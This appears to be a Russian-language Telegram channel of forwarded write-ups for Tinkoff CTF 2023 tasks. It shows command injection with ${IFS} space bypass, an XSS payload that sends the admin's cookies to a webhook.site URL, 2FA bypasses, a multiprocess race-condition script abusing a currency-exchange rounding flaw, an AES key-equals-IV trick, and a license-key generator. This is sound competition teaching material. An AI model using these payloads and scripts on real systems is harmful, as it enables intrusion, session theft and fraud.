решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
Forwarded from Дядя Кит
Планетарная важность.

Открываем сайт, жмем F12.
Наблюдаем запрос execute?cmd=get-status
Делаем такой же, но execute?cmd=ls
Далее вставляем везде вместо пробелов` ${IFS}`, читаем файлы и все такое.
Когда надоест, делаем execute?cmd=curl${IFS}-s${IFS}http://management:5000/restart/ и радуемся флагу.

Теперь точно все
1
Forwarded from Dmitry
Герой Пустошей (Аквачип)
Android .apk

Первая часть:
Скачиваем aquachip.apk и устанавливаем на эмулятор.
При попытке установки скорее всего adb зависнет,
а если перетягивать на эмулятор - молча падает.

Чтобы понять в чём ошибка, нужно закинуть .apk файл на эмулятор:
adb push aqua.apk /sdcard/Download
После этого установить с помощью PM (Packet Manager) внутри Anroid:

adb shell
cd /sdcard/Download
pm install aqua.apk

Получится ошибка:
Failure [INSTALL_FAILED_NO_MATCHING_ABIS: Failed to extract native libraries, res=-113]
Это означает, что не подходит архитектура процессора для нативных библиотек.

Запускаем реверс: apktool d -o aqua-backsmali aqua.apk
или же просто распаковываем .apk как зип архив.
В файлах видим: lib/
arm64-v8a, armeabi-v7a, x86_64
Из-за этих библиотек и падает (нет варианта для обычного эмулятора).

x86_64 - нужный вид эмулятора.
Устанавливаем такой эмулятор (например, через Android Studio) и запускаем на нём.

Часть вторая:
Настраиваем эмулятор для перехвата траффика
Вот статья: (book.hacktricks.xyz /mobile-pentesting/android-app-pentesting/avd-android-virtual-device)

В приложении включаем все переключатели и пробуем запустить, получаем ошибку
"Secret Module not enabled".
В Burp видно, что каждый модуль при включении посылает запрос с id= [номер модуля]
В repeater посылаем такой же запрос, но со следующим номером по порядку после всех модулей.
После этого Аквачип работает.
👍1
Forwarded from Dmitry
NAMCAP
Gamechanger (Pacman)
android, .apk

Если покопаться в коде,
в классе с запросами в сеть есть debug функция loginAdmin, где прописан пароль админа.

Запускаем приложение, заходим в Settings, там написан логин админа.

На форме входа вводим логин и пароль админа, но у него включена 2FA.
Высылается одноразовый пароль.
Приложение спамит уведомлениями при этом.
При логине нам выдало токен, но все остальные методы не работают, требуют 2FA.
Уязвимость заключается в том, что работает метод просмотра уведомлений с токеном до того как будет пройдена 2FA.
Конструируем в repeater запрос уведомлений с токеном админа и там будет OTP.
Заходим и переключаем в настройках Gamechanger.
Forwarded from Innokentiy 🍏 🍎 Memskoy
Песчаный холм: когда в AES ключ совпадает с IV, достаточно иметь данные вида X + 0 + X, где X — 16 каких-то байт, 0 — 16 нулевых байт, тогда в результате декодинга спалится ключ
Forwarded from Dimisi
Мегастог: XSS в поле address формы регистрации. Крадем куки админа <noscript>document.location='https://webhook.site/776b5bec-1809-462d-a9fa-280952a93dc6?cookie='+document.cookie;</noscript> и открываем admin-dashboard.
Forwarded from Dimisi
Свой среди чужих
Дан хост с Ubuntu, даны креды от юзера в хомяке которого флаг, но настроена двухфакторка. Лезем в /etc/pam.d, смотрим что файл su изменен недавно, читаем его и обращаем внимание на обязательную либу: pam_tgotp.so. Находим её, читаем строки с помощью strings, в одной из строк токен бота. Дампим бота по токену, получаем код ОТП, авторизуемся.
Forwarded from Dimisi
Пиццаувелечитель:

Ошибка в бизнеслогике на оркугление при обмене Беконника на Гастрофранк. За одну итерацию выигрываем 2 беконника. А потом ещё в мульипоточность ставим и помоему рэйс кондишен получаем, но это не точно.

import requests as req
from multiprocessing import Process

url = "https://its-grand-supermarket-f0e1aqq7.spbctf.ru/api/exchange"
cookie = {"__cfduid":"d751382105124a1e58fff8cbd6071320", "session": "fd525692-47fa-4fb1-aca2-c6401f7ad51a"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Origin": "https://its-grand-supermarket-f0e1aqq7.spbctf.ru",
"Referer": "https://its-grand-supermarket-f0e1aqq7.spbctf.ru/account",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers"
}
first_data = {"amount": 1,"cur_from":"Гастрофранк", "cur_to": "Беконик",
"submit": "%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C"}
second_data = {"amount":428, "cur_from":"Беконик", "cur_to":"Гастрофранк",
"submit":"%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C"}

def givme_money():
for _ in range(2000):
req.post(url, headers=headers, cookies=cookie, data=first_data)
req.post(url, headers=headers, cookies=cookie, data=second_data)
print("Попытка: ", _)


for _ in range(15):
p = Process(target=givme_money)
p.start()
1👍1
😅
12👀3🐳2
Forwarded from Dmitry Karasev
Пиццаувеличитель. Шиитакоин вообще не учавствует. Просто делаем себе сколько-то Бекоников, и видим, что на маленьких переводах курс в Гастрофранки остается одинаковым. Сравниваем
3 Беконика в Шиитакоин = 0.01, за 99 получаем 0.33 Гастрофранка
Обратный курс обмена - 0.33 Гастрофранка = 141.9 Беконика. Есть большая разница.

Решение
Перехватываем запрос на перевод из Беконика в Гастрофранки с помощью любого сниффера (я в Fiddler) и повторяем его пока не закончатся. В UI переводим все Гастрофранки в Беконики и повторяем пока не наберем 20 Гастрофранков=)

PS запросов пришлось отправлять много, сайт вроде не зависает=)
Всем привет 👋

Поскольку скоро Тинькофф отключит свои задания из прошедшего CTF, я решил: раз уж здесь собралось 400+ человек (большое всем спасибо, кстати, вообще не ожидал, что так много народу здесь будет :D ) то могу прорекламировать... свой другой канал!

Этот канал будет классическим сборником вопросов, касающихся Java, но с одной изюминкой... вопросы создаются при помощи GPT-4 (и редактируются, проверяются и публикуются мной).

Ссылка на канал: https://news.1rj.ru/str/quizjava, по всем вопросам, замечаниям и предложениям писать мне в личку: @EvgenyKurmysa :)
😁7👍5🤓3🤔1🐳1
Forwarded from Кошачьи бредни (Daniil159x)
Мои врайтапы с IT’s Tinkoff CTF 2023

Катали втроём и даже заняли 9 место в опытной лиге. Сам стф был очень интересным, хотелось бы стереть себе память и сыграть снова.

Успел написать только 4 таска: капичаттер, свой среди чужих, полный назад, Grand Theft Korovany.
https://daniil159x.notion.site/IT-s-Tinkoff-CTF-2023-0e4a954b642e440ca250a087f309fca3?pvs=4

Считаю какой-то результат достигнут, какие-то выводы были сделаны.

#ctf #writeups
кхе-кхъе
😁16🤔1🤯1😱1🤡1😍1🐳1
9 вечера

Прошу все решения и райтапы скидывать мне в ЛС: @EvgenyKurmysa
👌5🤡1
Проклятый старый сайт #старыйсайт

@aboo_man:
Forwarded from أبو

window.onload = function() {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const msg = urlParams.get('msg');
if (msg) {
document.getElementById("message").innerText = msg;
}
}

function checkLicense() {
const license = document.getElementById("license").value;
if (isLicenseValid(license)) {
const form = document.createElement("form");
document.body.appendChild(form);
form.action = "/validate";
form.method = "POST";
const input = document.createElement("input");
input.type = "hidden";
input.name = "license";
input.value = license;
form.appendChild(input);
form.submit();
} else {
document.getElementById("message").innerText = "Invalid license key!";
}
}

function isLicenseValid(license) {
if (!isKeyFormatValid(license)) {
return false;
}
const [, serial, checksum] = license.replace(/-/g, "").match(/(.{16})(.{4})/);
if (!isSerialChecksumValid(serial, checksum)) {
return false;
}
const seed = serial.substring(0, 8);
if (!isSeedFormatValid(seed)) {
return false;
}
const subkey = getSubkeyFromSeed(seed, 36, 1, 137);
return serial.substring(8, 10) === subkey;
}

function isKeyFormatValid(key) {
return key.length === 24 && key.replace(/-/g, "").length === 20;
}

function isSerialChecksumValid(serial, checksum) {
return getChecksumForSerial(serial) === checksum;
}

function isSeedFormatValid(seed) {
return seed.match(/[A-F0-9]{8}/) !== null;
}

function getChecksumForSerial(serial) {
let sum1 = 175;
let sum2 = 86;
for (let i = 0; i < serial.length; i++) {
sum1 += serial.charCodeAt(i);
if (sum1 > 255) {
sum1 -= 255;
}
sum2 += sum1;
if (sum2 > 255) {
sum2 -= 255;
}
}
return toFixedHex((sum2 << 8) + sum1, 4);
}

function toFixedHex(value, length) {
return value.toString(16).toUpperCase().padStart(length, "0").substring(0, length);
}

function getSubkeyFromSeed(seed, shift, mod, xor) {
if (typeof seed === "string") {
seed = parseInt(seed, 16);
}
mod %= 3;
let result;
if (shift % 25 % 2 === 0) {
result = (seed >> shift & 255) ^ (255 & (seed >> mod | xor));
} else {
result = (seed >> shift & 255) ^ (seed >> mod & xor & 255);
}
return toFixedHex(result, 2);
}


исходный код
👍1
Forwarded from أبو
function generateLicenseKey() {
let seed = Math.floor(Math.random() * Math.pow(16, 8)).toString(16).toUpperCase().padStart(8, "0");

let randomSerial = Math.floor(Math.random() * Math.pow(16, 6)).toString(16).toUpperCase().padStart(6, "0");

let subkey = getSubkeyFromSeed(seed, 36, 1, 137);

let serial = seed + subkey + randomSerial;

let checksum = getChecksumForSerial(serial);

let licenseKey = serial + checksum;

licenseKey = licenseKey.replace(/(.{4})/g, "\$1-").slice(0, -1);

return licenseKey;
}
Forwarded from أبو
это наш ключь
👍1